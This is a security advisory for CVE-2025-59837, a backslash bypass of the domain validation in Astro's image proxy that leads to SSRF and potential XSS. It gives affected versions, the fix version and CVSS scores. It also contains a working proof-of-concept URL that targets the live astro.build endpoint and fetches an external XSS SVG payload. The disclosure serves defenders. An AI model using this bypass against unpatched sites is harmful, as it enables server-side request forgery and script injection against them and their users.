CVE-2025-59837
Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
Description
### Summary This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. ### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)
How to fix CVE-2025-59837
To remediate CVE-2025-59837, upgrade the affected package to a fixed version below.
- —upgrade to 5.13.10 or later
Is CVE-2025-59837 being exploited?
Low — EPSS is 0.0%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- >= 5.13.4, < 5.13.10
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.2 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |